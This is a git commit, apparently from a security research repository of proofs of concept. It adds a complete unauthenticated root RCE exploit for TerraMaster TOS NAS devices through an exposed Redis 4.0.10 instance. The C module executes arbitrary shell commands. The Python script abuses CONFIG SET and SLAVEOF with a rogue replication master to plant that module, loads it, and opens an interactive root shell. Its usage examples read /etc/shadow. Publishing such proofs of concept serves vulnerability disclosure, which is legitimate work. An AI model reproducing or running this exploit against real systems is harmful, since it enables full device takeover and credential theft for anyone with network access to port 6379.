mirror of
https://github.com/v12-security/pocs.git
synced 2026-05-26 08:40:48 +00:00
TossUp
This commit is contained in:
parent
a82f4368ab
commit
8a0604c676
10 changed files with 1137 additions and 0 deletions
12
terramaster/rce/Makefile
Normal file
12
terramaster/rce/Makefile
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
CC := aarch64-linux-gnu-gcc
|
||||
CFLAGS := -shared -fPIC -nostartfiles
|
||||
|
||||
.PHONY: all clean
|
||||
|
||||
all: module.so
|
||||
|
||||
module.so: module.c redismodule.h
|
||||
$(CC) $(CFLAGS) -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f module.so
|
||||
46
terramaster/rce/module.c
Normal file
46
terramaster/rce/module.c
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
/*
|
||||
* Minimal Redis module: executes a shell command and returns stdout.
|
||||
* Loaded via MODULE LOAD over an NFS share to achieve root RCE.
|
||||
*
|
||||
* Usage after loading:
|
||||
* system.exec "id"
|
||||
* system.exec "cat /etc/shadow"
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include "redismodule.h"
|
||||
|
||||
static int cmd_exec(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
if (argc != 2) return RedisModule_WrongArity(ctx);
|
||||
|
||||
size_t len;
|
||||
const char *cmd = RedisModule_StringPtrLen(argv[1], &len);
|
||||
|
||||
char buf[8192] = {0};
|
||||
FILE *fp = popen(cmd, "r");
|
||||
if (!fp)
|
||||
return RedisModule_ReplyWithError(ctx, "ERR popen failed");
|
||||
|
||||
size_t total = 0;
|
||||
while (total < sizeof(buf) - 1) {
|
||||
size_t n = fread(buf + total, 1, sizeof(buf) - 1 - total, fp);
|
||||
if (n == 0) break;
|
||||
total += n;
|
||||
}
|
||||
pclose(fp);
|
||||
|
||||
return RedisModule_ReplyWithSimpleString(ctx, buf);
|
||||
}
|
||||
|
||||
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR)
|
||||
return REDISMODULE_ERR;
|
||||
|
||||
if (RedisModule_CreateCommand(ctx, "system.exec", cmd_exec,
|
||||
"write deny-oom", 0, 0, 0) == REDISMODULE_ERR)
|
||||
return REDISMODULE_ERR;
|
||||
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
BIN
terramaster/rce/module.so
Executable file
BIN
terramaster/rce/module.so
Executable file
Binary file not shown.
379
terramaster/rce/poc.py
Executable file
379
terramaster/rce/poc.py
Executable file
|
|
@ -0,0 +1,379 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
TerraMaster TOS Redis unauthenticated root RCE POC
|
||||
|
||||
Exploits Redis 4.0.10 running as root, bound to 0.0.0.0:6379 with no
|
||||
authentication on TOS3_A1.0 4.2.41 (RTD1296).
|
||||
|
||||
The config file (/etc/redis.conf with "bind 127.0.0.1") is ignored because
|
||||
the init script starts redis as "redis-server *:6379" without referencing it.
|
||||
|
||||
Attack chain (requires only network access to port 6379):
|
||||
a) Use CONFIG SET to point dir/dbfilename at a writable location.
|
||||
b) Use SLAVEOF to make target replicate from a rogue master we emulate.
|
||||
c) Rogue master sends the compiled Redis module (.so) as the RDB payload.
|
||||
d) Redis writes the payload to disk verbatim.
|
||||
e) MODULE LOAD the .so, execute arbitrary commands as root.
|
||||
|
||||
No NFS, SSH, or credentials required — only port 6379.
|
||||
|
||||
Usage:
|
||||
python3 poc.py <NAS_IP> # interactive root shell
|
||||
python3 poc.py <NAS_IP> --cmd "id" # single command
|
||||
python3 poc.py <NAS_IP> --cmd "cat /etc/shadow"
|
||||
Requires module.so (run `make` to build it).
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import random
|
||||
import socket
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
|
||||
REDIS_PORT = 6379
|
||||
MODULE_DROP_DIR = "/tmp"
|
||||
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Progress bar — logs scroll above, bar sticks to the bottom
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class Progress:
|
||||
"""Single-line progress bar on stderr. Logs print above it."""
|
||||
|
||||
def __init__(self, total, width=36):
|
||||
self.total = total
|
||||
self.width = width
|
||||
self.step = 0
|
||||
self.msg = ""
|
||||
self.tty = sys.stderr.isatty()
|
||||
|
||||
def update(self, step, msg=""):
|
||||
self.step = step
|
||||
self.msg = msg
|
||||
if self.tty:
|
||||
self._draw()
|
||||
|
||||
def _draw(self):
|
||||
filled = int(self.width * self.step / self.total)
|
||||
bar = "\033[36m" + "━" * filled + "\033[90m" + "╌" * (self.width - filled) + "\033[0m"
|
||||
pct = self.step * 100 // self.total
|
||||
sys.stderr.write(f"\033[2K\r {bar} {pct:3d}% {self.msg}")
|
||||
sys.stderr.flush()
|
||||
|
||||
def clear(self):
|
||||
if self.tty:
|
||||
sys.stderr.write("\033[2K\r")
|
||||
sys.stderr.flush()
|
||||
|
||||
def finish(self):
|
||||
self.step = self.total
|
||||
if self.tty:
|
||||
filled = self.width
|
||||
bar = "\033[32m" + "━" * filled + "\033[0m"
|
||||
sys.stderr.write(f"\033[2K\r {bar} 100% done\n")
|
||||
sys.stderr.flush()
|
||||
|
||||
|
||||
_progress = None
|
||||
|
||||
|
||||
def _log(prefix, msg):
|
||||
if _progress:
|
||||
_progress.clear()
|
||||
sys.stderr.write(f"{prefix} {msg}\n")
|
||||
sys.stderr.flush()
|
||||
if _progress and _progress.step < _progress.total:
|
||||
_progress._draw()
|
||||
|
||||
|
||||
def bail(msg):
|
||||
if _progress:
|
||||
_progress.clear()
|
||||
sys.stderr.write(f"\n\033[31m[FATAL]\033[0m {msg}\n")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def info(msg):
|
||||
_log("\033[90m[*]\033[0m", msg)
|
||||
|
||||
|
||||
def good(msg):
|
||||
_log("\033[32m[+]\033[0m", msg)
|
||||
|
||||
|
||||
def warn(msg):
|
||||
_log("\033[33m[!]\033[0m", msg)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Redis helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def redis_connect(host, port=REDIS_PORT, timeout=5):
|
||||
return socket.create_connection((host, port), timeout=timeout)
|
||||
|
||||
|
||||
def redis_cmd(sock, *args):
|
||||
parts = [f"*{len(args)}\r\n"]
|
||||
for a in args:
|
||||
s = str(a)
|
||||
parts.append(f"${len(s)}\r\n{s}\r\n")
|
||||
sock.sendall("".join(parts).encode())
|
||||
time.sleep(0.3)
|
||||
data = b""
|
||||
sock.settimeout(2)
|
||||
while True:
|
||||
try:
|
||||
chunk = sock.recv(65536)
|
||||
if not chunk:
|
||||
break
|
||||
data += chunk
|
||||
except socket.timeout:
|
||||
break
|
||||
return data.decode(errors="replace")
|
||||
|
||||
|
||||
def redis_config_get(sock, key):
|
||||
resp = redis_cmd(sock, "CONFIG", "GET", key)
|
||||
lines = resp.split("\r\n")
|
||||
if len(lines) >= 5:
|
||||
return lines[4]
|
||||
return None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Rogue Redis master (replication payload delivery)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def get_local_ip(target_host, target_port=REDIS_PORT):
|
||||
s = socket.create_connection((target_host, target_port), timeout=5)
|
||||
ip = s.getsockname()[0]
|
||||
s.close()
|
||||
return ip
|
||||
|
||||
|
||||
def random_drop_name():
|
||||
tag = ''.join(random.choices(string.ascii_lowercase, k=8))
|
||||
return f".{tag}.so"
|
||||
|
||||
|
||||
def handle_repl_handshake(conn, payload):
|
||||
"""Speak just enough RESP to complete a FULLRESYNC and deliver payload."""
|
||||
conn.settimeout(10)
|
||||
while True:
|
||||
data = conn.recv(4096)
|
||||
if not data:
|
||||
raise ConnectionError("slave disconnected during handshake")
|
||||
text = data.decode(errors="replace").strip()
|
||||
if "PSYNC" in text or "SYNC" in text:
|
||||
info(f" <- {text.splitlines()[0][:60]}")
|
||||
info(f" -> FULLRESYNC ({len(payload)} bytes)")
|
||||
conn.sendall(f"+FULLRESYNC {'Z' * 40} 1\r\n".encode())
|
||||
conn.sendall(f"${len(payload)}\r\n".encode())
|
||||
conn.sendall(payload)
|
||||
conn.sendall(b"\r\n")
|
||||
time.sleep(2)
|
||||
return
|
||||
elif "PING" in text:
|
||||
info(" <- PING")
|
||||
info(" -> PONG")
|
||||
conn.sendall(b"+PONG\r\n")
|
||||
else:
|
||||
first_line = text.splitlines()[0] if text else "(empty)"
|
||||
info(f" <- {first_line[:60]}")
|
||||
info(" -> OK")
|
||||
conn.sendall(b"+OK\r\n")
|
||||
|
||||
|
||||
def deliver_module(host, payload_bytes, lhost=None):
|
||||
"""Deliver .so binary to target filesystem via Redis replication."""
|
||||
_progress.update(1, "Connecting to Redis")
|
||||
info(f"Connecting to {host}:{REDIS_PORT}")
|
||||
sock = redis_connect(host)
|
||||
drop_name = random_drop_name()
|
||||
drop_path = f"{MODULE_DROP_DIR}/{drop_name}"
|
||||
|
||||
if lhost is None:
|
||||
lhost = get_local_ip(host)
|
||||
|
||||
_progress.update(2, "Configuring drop location")
|
||||
orig_dir = redis_config_get(sock, "dir")
|
||||
orig_dbfilename = redis_config_get(sock, "dbfilename")
|
||||
info(f"Saved config: dir={orig_dir} dbfilename={orig_dbfilename}")
|
||||
|
||||
resp = redis_cmd(sock, "CONFIG", "SET", "dir", MODULE_DROP_DIR)
|
||||
if "+OK" not in resp:
|
||||
bail(f"CONFIG SET dir failed: {resp.strip()}")
|
||||
resp = redis_cmd(sock, "CONFIG", "SET", "dbfilename", drop_name)
|
||||
if "+OK" not in resp:
|
||||
bail(f"CONFIG SET dbfilename failed: {resp.strip()}")
|
||||
info(f"Configured drop: dir={MODULE_DROP_DIR} dbfilename={drop_name}")
|
||||
|
||||
_progress.update(3, "Starting rogue master")
|
||||
listen_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
listen_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
listen_sock.bind(("0.0.0.0", 0))
|
||||
listen_sock.listen(1)
|
||||
lport = listen_sock.getsockname()[1]
|
||||
listen_sock.settimeout(15)
|
||||
info(f"Listening on {lhost}:{lport}")
|
||||
|
||||
_progress.update(4, "Waiting for slave to connect")
|
||||
info(f"SLAVEOF {lhost} {lport}")
|
||||
redis_cmd(sock, "SLAVEOF", lhost, str(lport))
|
||||
|
||||
conn, addr = listen_sock.accept()
|
||||
info(f"Slave connected from {addr[0]}:{addr[1]}")
|
||||
|
||||
_progress.update(5, "Replication handshake")
|
||||
handle_repl_handshake(conn, payload_bytes)
|
||||
conn.close()
|
||||
listen_sock.close()
|
||||
good(f"Payload written to {drop_path}")
|
||||
|
||||
_progress.update(6, "Restoring config")
|
||||
info("SLAVEOF NO ONE")
|
||||
redis_cmd(sock, "SLAVEOF", "NO", "ONE")
|
||||
|
||||
if orig_dir:
|
||||
redis_cmd(sock, "CONFIG", "SET", "dir", orig_dir)
|
||||
if orig_dbfilename:
|
||||
redis_cmd(sock, "CONFIG", "SET", "dbfilename", orig_dbfilename)
|
||||
info(f"Restored config: dir={orig_dir} dbfilename={orig_dbfilename}")
|
||||
|
||||
sock.close()
|
||||
return drop_path
|
||||
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Redis RCE via MODULE LOAD
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def redis_load_module(host, module_path):
|
||||
"""Connect, verify no auth, load module. Returns the live socket."""
|
||||
_progress.update(7, "Loading module")
|
||||
info(f"Connecting to {host}:{REDIS_PORT}")
|
||||
try:
|
||||
sock = redis_connect(host)
|
||||
except (OSError, socket.timeout) as e:
|
||||
bail(f"Cannot connect to Redis: {e}")
|
||||
|
||||
resp = redis_cmd(sock, "PING")
|
||||
if "+PONG" not in resp:
|
||||
bail(f"Redis requires auth or rejected PING: {resp.strip()[:200]}")
|
||||
good("PONG — no authentication")
|
||||
|
||||
resp = redis_cmd(sock, "INFO", "server")
|
||||
for key in ("redis_version", "os", "process_id", "tcp_port"):
|
||||
for line in resp.splitlines():
|
||||
if line.startswith(f"{key}:"):
|
||||
info(f" {line.strip()}")
|
||||
|
||||
info(f"MODULE LOAD {module_path}")
|
||||
resp = redis_cmd(sock, "MODULE", "LOAD", module_path)
|
||||
if "ERR" in resp and "already loaded" not in resp.lower():
|
||||
bail(f"MODULE LOAD failed: {resp.strip()}")
|
||||
good("system.exec available")
|
||||
|
||||
_progress.finish()
|
||||
return sock
|
||||
|
||||
|
||||
def redis_exec(sock, cmd):
|
||||
"""Execute a command via system.exec and return output."""
|
||||
resp = redis_cmd(sock, "system.exec", cmd)
|
||||
output = resp.strip()
|
||||
if output.startswith("+"):
|
||||
output = output[1:]
|
||||
return output
|
||||
|
||||
|
||||
def redis_cleanup(sock, module_path):
|
||||
"""Remove .so from disk and unload module."""
|
||||
try:
|
||||
redis_exec(sock, f"rm -f {module_path}")
|
||||
except (BrokenPipeError, OSError):
|
||||
pass
|
||||
try:
|
||||
redis_cmd(sock, "MODULE", "UNLOAD", "system")
|
||||
except (BrokenPipeError, OSError):
|
||||
pass
|
||||
try:
|
||||
sock.close()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Interactive shell
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def shell(sock, host):
|
||||
"""Interactive root shell over Redis system.exec."""
|
||||
warn(f"root shell on {host} via Redis — type 'exit' or Ctrl-D to quit")
|
||||
while True:
|
||||
try:
|
||||
cmd = input(f"\x1b[1;31mroot@{host}\x1b[0m# ")
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
print()
|
||||
break
|
||||
cmd = cmd.strip()
|
||||
if not cmd:
|
||||
continue
|
||||
if cmd in ("exit", "quit"):
|
||||
break
|
||||
output = redis_exec(sock, cmd)
|
||||
if output:
|
||||
print(output)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Main
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def main():
|
||||
global _progress
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description="TerraMaster TOS Redis -> unauthenticated root RCE"
|
||||
)
|
||||
parser.add_argument("host", help="NAS IP address")
|
||||
parser.add_argument("--cmd", default=None,
|
||||
help="Single command (default: interactive shell)")
|
||||
parser.add_argument("--lhost", default=None,
|
||||
help="Attacker IP reachable from target (default: auto)")
|
||||
args = parser.parse_args()
|
||||
|
||||
_progress = Progress(total=8)
|
||||
|
||||
module_so = os.path.join(SCRIPT_DIR, "module.so")
|
||||
if not os.path.isfile(module_so):
|
||||
bail(f"{module_so} not found. Run 'make' to build it.")
|
||||
payload = open(module_so, "rb").read()
|
||||
info(f"Loaded {module_so} ({len(payload)} bytes)")
|
||||
module_on_target = deliver_module(args.host, payload, lhost=args.lhost)
|
||||
sock = redis_load_module(args.host, module_on_target)
|
||||
|
||||
if args.cmd:
|
||||
output = redis_exec(sock, args.cmd)
|
||||
if output:
|
||||
print(output)
|
||||
else:
|
||||
warn("No output.")
|
||||
else:
|
||||
shell(sock, args.host)
|
||||
|
||||
info("Cleaning up")
|
||||
redis_cleanup(sock, module_on_target)
|
||||
good("Done")
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
405
terramaster/rce/redismodule.h
Normal file
405
terramaster/rce/redismodule.h
Normal file
|
|
@ -0,0 +1,405 @@
|
|||
#ifndef REDISMODULE_H
|
||||
#define REDISMODULE_H
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* ---------------- Defines common between core and modules --------------- */
|
||||
|
||||
/* Error status return values. */
|
||||
#define REDISMODULE_OK 0
|
||||
#define REDISMODULE_ERR 1
|
||||
|
||||
/* API versions. */
|
||||
#define REDISMODULE_APIVER_1 1
|
||||
|
||||
/* API flags and constants */
|
||||
#define REDISMODULE_READ (1<<0)
|
||||
#define REDISMODULE_WRITE (1<<1)
|
||||
|
||||
#define REDISMODULE_LIST_HEAD 0
|
||||
#define REDISMODULE_LIST_TAIL 1
|
||||
|
||||
/* Key types. */
|
||||
#define REDISMODULE_KEYTYPE_EMPTY 0
|
||||
#define REDISMODULE_KEYTYPE_STRING 1
|
||||
#define REDISMODULE_KEYTYPE_LIST 2
|
||||
#define REDISMODULE_KEYTYPE_HASH 3
|
||||
#define REDISMODULE_KEYTYPE_SET 4
|
||||
#define REDISMODULE_KEYTYPE_ZSET 5
|
||||
#define REDISMODULE_KEYTYPE_MODULE 6
|
||||
|
||||
/* Reply types. */
|
||||
#define REDISMODULE_REPLY_UNKNOWN -1
|
||||
#define REDISMODULE_REPLY_STRING 0
|
||||
#define REDISMODULE_REPLY_ERROR 1
|
||||
#define REDISMODULE_REPLY_INTEGER 2
|
||||
#define REDISMODULE_REPLY_ARRAY 3
|
||||
#define REDISMODULE_REPLY_NULL 4
|
||||
|
||||
/* Postponed array length. */
|
||||
#define REDISMODULE_POSTPONED_ARRAY_LEN -1
|
||||
|
||||
/* Expire */
|
||||
#define REDISMODULE_NO_EXPIRE -1
|
||||
|
||||
/* Sorted set API flags. */
|
||||
#define REDISMODULE_ZADD_XX (1<<0)
|
||||
#define REDISMODULE_ZADD_NX (1<<1)
|
||||
#define REDISMODULE_ZADD_ADDED (1<<2)
|
||||
#define REDISMODULE_ZADD_UPDATED (1<<3)
|
||||
#define REDISMODULE_ZADD_NOP (1<<4)
|
||||
|
||||
/* Hash API flags. */
|
||||
#define REDISMODULE_HASH_NONE 0
|
||||
#define REDISMODULE_HASH_NX (1<<0)
|
||||
#define REDISMODULE_HASH_XX (1<<1)
|
||||
#define REDISMODULE_HASH_CFIELDS (1<<2)
|
||||
#define REDISMODULE_HASH_EXISTS (1<<3)
|
||||
|
||||
/* Context Flags: Info about the current context returned by RM_GetContextFlags */
|
||||
|
||||
/* The command is running in the context of a Lua script */
|
||||
#define REDISMODULE_CTX_FLAGS_LUA 0x0001
|
||||
/* The command is running inside a Redis transaction */
|
||||
#define REDISMODULE_CTX_FLAGS_MULTI 0x0002
|
||||
/* The instance is a master */
|
||||
#define REDISMODULE_CTX_FLAGS_MASTER 0x0004
|
||||
/* The instance is a slave */
|
||||
#define REDISMODULE_CTX_FLAGS_SLAVE 0x0008
|
||||
/* The instance is read-only (usually meaning it's a slave as well) */
|
||||
#define REDISMODULE_CTX_FLAGS_READONLY 0x0010
|
||||
/* The instance is running in cluster mode */
|
||||
#define REDISMODULE_CTX_FLAGS_CLUSTER 0x0020
|
||||
/* The instance has AOF enabled */
|
||||
#define REDISMODULE_CTX_FLAGS_AOF 0x0040 //
|
||||
/* The instance has RDB enabled */
|
||||
#define REDISMODULE_CTX_FLAGS_RDB 0x0080 //
|
||||
/* The instance has Maxmemory set */
|
||||
#define REDISMODULE_CTX_FLAGS_MAXMEMORY 0x0100
|
||||
/* Maxmemory is set and has an eviction policy that may delete keys */
|
||||
#define REDISMODULE_CTX_FLAGS_EVICT 0x0200
|
||||
|
||||
|
||||
#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */
|
||||
#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */
|
||||
#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */
|
||||
#define REDISMODULE_NOTIFY_SET (1<<5) /* s */
|
||||
#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */
|
||||
#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */
|
||||
#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */
|
||||
#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */
|
||||
#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED) /* A */
|
||||
|
||||
|
||||
/* A special pointer that we can use between the core and the module to signal
|
||||
* field deletion, and that is impossible to be a valid pointer. */
|
||||
#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
|
||||
|
||||
/* Error messages. */
|
||||
#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
|
||||
|
||||
#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
|
||||
#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
|
||||
|
||||
#define REDISMODULE_NOT_USED(V) ((void) V)
|
||||
|
||||
/* ------------------------- End of common defines ------------------------ */
|
||||
|
||||
#ifndef REDISMODULE_CORE
|
||||
|
||||
typedef long long mstime_t;
|
||||
|
||||
/* Incomplete structures for compiler checks but opaque access. */
|
||||
typedef struct RedisModuleCtx RedisModuleCtx;
|
||||
typedef struct RedisModuleKey RedisModuleKey;
|
||||
typedef struct RedisModuleString RedisModuleString;
|
||||
typedef struct RedisModuleCallReply RedisModuleCallReply;
|
||||
typedef struct RedisModuleIO RedisModuleIO;
|
||||
typedef struct RedisModuleType RedisModuleType;
|
||||
typedef struct RedisModuleDigest RedisModuleDigest;
|
||||
typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
|
||||
|
||||
typedef int (*RedisModuleCmdFunc) (RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
|
||||
|
||||
typedef int (*RedisModuleNotificationFunc) (RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
|
||||
typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
|
||||
typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
|
||||
typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
|
||||
typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
|
||||
typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
|
||||
typedef void (*RedisModuleTypeFreeFunc)(void *value);
|
||||
|
||||
#define REDISMODULE_TYPE_METHOD_VERSION 1
|
||||
typedef struct RedisModuleTypeMethods {
|
||||
uint64_t version;
|
||||
RedisModuleTypeLoadFunc rdb_load;
|
||||
RedisModuleTypeSaveFunc rdb_save;
|
||||
RedisModuleTypeRewriteFunc aof_rewrite;
|
||||
RedisModuleTypeMemUsageFunc mem_usage;
|
||||
RedisModuleTypeDigestFunc digest;
|
||||
RedisModuleTypeFreeFunc free;
|
||||
} RedisModuleTypeMethods;
|
||||
|
||||
#define REDISMODULE_GET_API(name) \
|
||||
RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
|
||||
|
||||
#define REDISMODULE_API_FUNC(x) (*x)
|
||||
|
||||
|
||||
void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
|
||||
void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
|
||||
char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
|
||||
int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
|
||||
int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
|
||||
void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
|
||||
int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
|
||||
size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
|
||||
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
|
||||
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
|
||||
int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
|
||||
long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
|
||||
size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
|
||||
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||
const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
|
||||
void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
|
||||
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
|
||||
char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
|
||||
mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
|
||||
